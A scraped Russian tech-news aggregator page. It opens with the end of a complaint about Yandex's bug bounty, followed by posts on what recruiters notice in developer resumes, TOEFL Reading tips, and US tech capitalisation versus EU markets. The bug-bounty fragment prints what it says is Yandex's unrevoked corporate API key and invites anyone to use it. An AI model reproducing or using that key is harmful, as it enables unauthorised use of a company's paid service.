2. В их же условиях указано, что В качестве классификации уязвимостей для веб-сервисов используется OWASP Top-10 версии 2010 года, для мобильных приложений OWASP Mobile Top-10., но в диалоге их сотрудник уточнил, что мою уязвимость они классифицировали по OWASP API Security Top 10 2019.

3. Найденный баг был передан Яндексу 9 июня 2020 года, прошло более 3 месяцев, но Яндекс так и не исправил баг и любой желающий может совершенно бесплатно воспользоваться их корпоративным API ключом c0d403ab-e5be-4049-908c-8122a58acf23, стоимость которого достигает до 1.5 млн рублей в год и более. В зал славы меня добавили yandex.ru/bugbounty/hall-of-fame/2020/6, а вот в денежном вознаграждении отказали (Конкурсы занятные и призы интересные).

P.S. я лишь донес историю, случившуюся со мной и то как повел себя Яндекс в такой ситуации. Участвовать в данном конкурсе или нет, решать только вам!
Подробнее..
Категории: It-компании , Yandex , Bug bounty , Pikabu

Ошибки, вода в описаниях, опыт работы на что на самом деле рекрутеры обращают внимание в резюме разработчиков

27.09.2020 00:06:12 | Автор: admin

Летом 2013 известный американский tech-рекрутер Алин Лернер (Aline Lerner) опубликовала в своем блоге материал с анализом факторов, которые оказывают наибольшее влияние на решение о найме разработчика. За период около года Лернер проинтервьюировала около 300 человек на позицию back-end/full-stack разработчика.

Главной целью анализа было выявление закономерностей в том числе между оформлением и данными в резюме и окончательным решением о найме кандидата. Мы решили еще раз пройтись по этой работе и сравнить с нашими данными, чтобы понять, что изменилось за семь лет.

Результаты 2013 года

В ходе своего анализа Алин Лернер сфокусировалась на изучении следующих факторов:

  • Наличие диплома в сфере Computer Science и уровень университета.

  • Наивысший достигнутый уровень образования.

  • Число грамматических и пунктуационных ошибок в резюме.

  • Частота использования базвордов (названия языков программирования, фреймворки, ОС, софтверные пакеты и т.п.)

  • Насколько легко из резюме понять, что именно человек делал на прошлом месте работы.

  • Длина резюме.

  • Наличие персональных проектов.

  • Опыт работы в топовой компании.

  • Балл аттестата (GPA).

Целью было понять, какие из этих факторов оказывают наибольшее влияние на рекрутеров и шансы быть нанятым, а какие почти ни на что не влияют. Вот, как распределились результаты.

1. Наличие ошибок в резюме

Статистика показала, что этот фактор может быть одним из важнейших. Его подтвердили именно цифры когда рекрутер разговаривала с коллегами, то среди 30 опрошенных ею человек не было того, кто бы заявил об исключительной важности наличия или отсутствия ошибок в резюме программиста. Все-таки это техническая профессия, а не гуманитарная, где нужно создавать тексты для внешних читателей.

Тезис звучал логично, но цифры показали прямо противоположный результат. По статистика, 87% кандидатов с офферами сделали 2 и менее ошибок в своих резюме.

Источник: blog.alinelerner.comИсточник: blog.alinelerner.com

2. Опыт работы в топ-компании

Здесь обошлось без сюрпризов, кроме того, что по логике этот пункт должен быть первым. К элитным компаниям рекрутер отнесла: Amazon, Apple, Evernote, Facebook, Google, LinkedIn, Microsoft, Oracle, стартапы из наборов Y Combinator, Yelp и Zynga. Напомним, что анализ проводился в 2013 году, сегодня, очевидно, набор компаний бы чуть изменился.

3. Насколько легко понять, что кандидат делал на прошлой работе

Лернер собрала резюме тех кандидатов, которые получили офферы, и тех, кто не получил, и составила так называемые word clouds для каждого кластера. В них вошли слова, которые чаще всего встречались в резюме.

Вот как выглядит облако для тех, кто получил оффер (чем больше и ярче слово, тем чаще оно использовалось):

Источник: blog.alinelerner.comИсточник: blog.alinelerner.com

А вот как для тех, кто не получил:

Истоничник: blog.alinelerner.comИстоничник: blog.alinelerner.com

Четко видно, что кандидаты, которых наняли, использовали более конкретные описания своих позиций и достигнутых результатов, в то время как те, кто не получил оффер, больше лили воду и использовали общие формулировки.

4. Наивысший уровень образования

По данным это конкретного исследования это показатель оказался не только не важным, но даже наоборот, люди, которые не закончили вуз, чуть чаще получали оффер. Лернер объясняет этот факт тем, что обычно самоучки обладают большей мотивацией и могут развиваться быстрее.

Даже наличие степени в топовом университете по направлению Computer Science не сильно влияло на конечный результат среди нанятых кандидатов у половины ее не было. Более того, не нашлось и закономерности между успехом в получении работы и средним баллом школьного аттестата.

5. Персональные проекты

Все так долго твердят об их важности, что это приводит к обесцениванию. По наблюдениям Лернер, многие кандидаты, понимая, что надо включить в резюме личные проекты, начинают давать ссылки на свои почти пустые GitHub-аккаунты или репозитории сторонних проектов, где они максимум отправляют коммиты с фиксами количества пробелов.

Понятно, что можно сделать такой сайд-проект или чуть изменить какой-то сторонний репозиторий с элементами UI, а можно запустить новый JavaScript-фреймворк. Но для рекрутера, который производит первичный отсев, тяжело четко определить разницу, поэтому если из описания проекта четко не ясна ценность, то фактор его наличия в резюме почти ничего не даст.

Что изменилось в 2020 году

Мы решили посмотреть, насколько изменилась ситуация, и какие факторы оказывают влияние на карьеру инженеров сегодня. Для этого мы проанализировали данные бота g-mate и рекрутингового агентства gms. Вот, что у нас получилось.

Главная причина отказа: недостаток опыта

Самая распространенная причина отказа кандидату на техническую позицию недостаток опыта. По этой причине отказывают примерно 50% кандидатов, прошедшим через нашу экосистему.

Что еще смущает работодателей: нестабильный опыт работы, некорректные описания

Как понятно из пункта выше, только в половине случаев кандидаты не получают оффер из-за недостатка опыта. В еще половине случаев, шансы на успех можно было бы повысить, поработав с резюме и сопроводительным письмом. Например, вот, какие факторы очень часто смущают работодателей:

  • нестабильный опыт работы если у кандидата есть паузы в карьере или периоды, когда он занимался не работой по нужному направлению, стоит как-то указать на причины этого.

  • короткий срок работы в предыдущей компании тому могут быть объективные причины (стартап закрылся, проектная работа), но если их не указывать, впечатление складывается настораживающее.

  • четкость описаний если вы претендуете на вакансию Python-разработчика, но название этого языка программирования не упоминается или его трудно найти где-то в середине страницы, сканирующий резюме рекрутер может решить не читать его подробнее.

Итого

Для того, чтобы пройти первый фильтр в лице рекрутера, изучающего резюме, важно убедиться, что в нем нет большого числа ошибок. Если у вас есть опыт работы в крупной хорошей компании его нужно подсветить особенно усердно. Также крайне важно четко описать ваш предыдущий опыт, фокусируясь на достигнутых результатах.

Важно подсвечивать в резюме релевантные конкретной вакансии навыки и технологии. Еще важнее внимательно читать описание к вакансии. Если там просят прислать портфолио, писать только людям с определенным уровнем английского важно это учитывать.

Используйте бот g-mate (@g_jobbot), чтобы получать вакансии по своему профилю с возможностью релокации или удаленной работы прямо в Telegram. Компании могут опубликовать первые 3 вакансии бесплатно переходитепо ссылке.

Подробнее..

Как сдать TOEFL ibt на 120 баллов? Лайфхаки Часть Reading

26.09.2020 20:04:42 | Автор: admin

Разбираем детали части Reading вместе!

Обновленный формат теста TOEFL ibt (изменения 2019 года) стал короче и легче.

Сейчас часть Чтение в TOEFL состоит из 3-4 текстов.

Каждый текст размером примерно 700 слов.

Программа автоматически задает 10 вопросов к каждому тексту.

У сдающих есть от 54 до 72 минут, чтобы справится со всеми вопросами в части Reading.

А теперь закончим с теорией и энергично перейдём к практике.

Навык # 1 для Чтения: Reading Factual Information and Negative Factual Information
Здесь вам нужно чётко и ясно для себя ответить, какая информация в абзацах

important
relevant
credible

+ Какие факты представлены в абзацах?
+ Есть ли эта информация в тексте?
+ Противоречат ли утверждения в вопросе утверждениям в тексте?

Не выбирайте вариант ответа, только если там:

! есть похожие или такие же слова
! есть похожие или такие же выражения

Факты, факты и только факты


Навык # 2 для Чтения: Reading Inference and Rhetorical Purpose Questions
Здесь вам нужно чётко и ясно для себя ответить, какая информация в абзацах

связана с ключевой идеей
ссылается на ключевые и побочные идеи
критически необходима для понимания текста

+ Какую информацию можно отнести к первому абзацу?
+ Какое упоминание можно связать со вторым абзацем?
+ Какие упоминания можно связать с целью текста, введением и заключением?

! Задумайтесь, что именно вас спрашивают в этом вопросе?
! Цель вопроса? Цель текста? Цель автора?

Критическое мышление must-have

Навык # 3 для Чтения: Reading Insert Text Question
Здесь вам нужно чётко и ясно для себя ответить, какие существительные:

+ Singular Tantum Uncountable
+ Plurale Tantum Uncountable
+ Gender-Inclusive Nouns
+ Gender-Exclusive Nouns

! Важно понимать различия местоимений:

_ This/these
_ That/those
_
They/them
_ Him/her
_
He/she/it
_ Which

И соответственно, уметь логически, дедуктивно и индуктивно мыслить, и определять, какие существительные с какими местоимениями связаны.

Логика, только логика

Навык # 4 для Чтения: Reading Vocabulary Question
Один из самых лёгких моментов TOEFL IBT.

Чтобы блестяще справится с этими вопросами при прохождении части Чтение, нужно:

знать самые известные латинские корни
знать самые известные греческие корни
знать самые известные латинские и греческие приставки
знать самые известные латинские и греческие суффиксы
понимать самую известную английскую научно-популярную лексику

Читать, читать, читать и никаких гвоздей!

Навык # 5 для Чтения: Reading Sentence Simplification
Ещё один простейщий момент на TOEFL IBT.

Здесь нужно уметь:
перефразировать

Нужно знать:
английские антонимы, синонимы
английские отрицательные суффиксы и приставки

Есть еще много важных моментов для успешного прохождения части Reading на TOEFL ibt, но основное, что нужно знать:

1) Неправильные варианты ответа будут искажать информацию текста или будут упоминать несущественные детали, которые в целом не важны для понимания представленной информации

2) Вы должны быть уверены, что выбранные вами варианты ответа 100% верны

3) Если вы не уверены, что выбранные варианты ответа 100% верны, выберите те, которые отражают критические важные детали текста и не упускают необходимой информации.

Дерзайте! Вы сдадите TOEFL ibt на 120 баллов из 120, я верю в ВАС!
Искренне Ваша, Ольга Берельковская.

Подробнее..

Стоимость IT-компаний США превысила капитализацию всего фондового рынка Евросоюза

26.09.2020 20:04:42 | Автор: admin

Аналитики Bank of America подсчитали капитализацию американского технологического сектора и сравнили ее с показателями фондового рынка Европы. В результате оказалось, что стоимость IT-компаний США на $0,2 трлн превышает весь фондовый рынок ЕС.

Что случилось

Эксперты подразделения Bank of America Global Research опубликовали новое исследование фондовых рынков США и Европы. Согласно полученным данным, на конец августа 2020 года капитализация американского сектора высоких технологий превышала $9 трлн. При этом капитализация всего фондового рынка Европы, включая Великобританию и Швейцарию составила $8,9 трлн.

В 2007 году же IT-сектор США в четыре раза уступал по объемам капитализации рынку акций Евросоюза.

Почему растут в цене IT-компании

В последние годы рынок высоких технологий США и так развивался достаточно бурно, но глобальная пандемия коронавируса в целом еще больше способствовала повышению показателей. Так в период с января 2020 года акции Apple выросли на 66%, Amazon на 80%, Microsoft на 42%, Alphabet (материнская компания Google) на 20%, соцсети Facebook на 40%. Из этих компаний только Facebook не преодолела капитализацию в $1 трлн.

В свою очередь, рост технологических акций вытягивает за собой и целые индексы, в которые они входят например, NASDAQ Composite в 2020 году установил уже несколько исторических максимумов роста. С января он вырос с 9000 до 11 695 пунктов к концу августа. Технологический сектор индекса S&P 500 за тот же период вырос на 35%.

В Европе меньше успешных технологических компаний с огромной капитализацией, и в том числе поэтому европейские индексы показывают не столь впечатляющие результаты. Так индекс европейских голубых фишек Euro Stoxx 50 по сравнению с началом года упал на 11%, а британский FTSE 100 обвалился на 20% по сравнению с январем.

В России акции американских компаний можно купить на Санкт-Петербургской бирже. Для этого не нужно открывать счет у иностранного брокера или использовать приложения вроде Robinhood, достаточно будет российского счета. Открыть его можно онлайн.

Читайте обзоры, аналитику рынков и инвестидеи в Telegram-канале ITI Capital

Полезные ссылки по теме инвестиций и биржевой торговли:

Подробнее..

Категории

Последние комментарии

© 2006-2020, personeltest.ru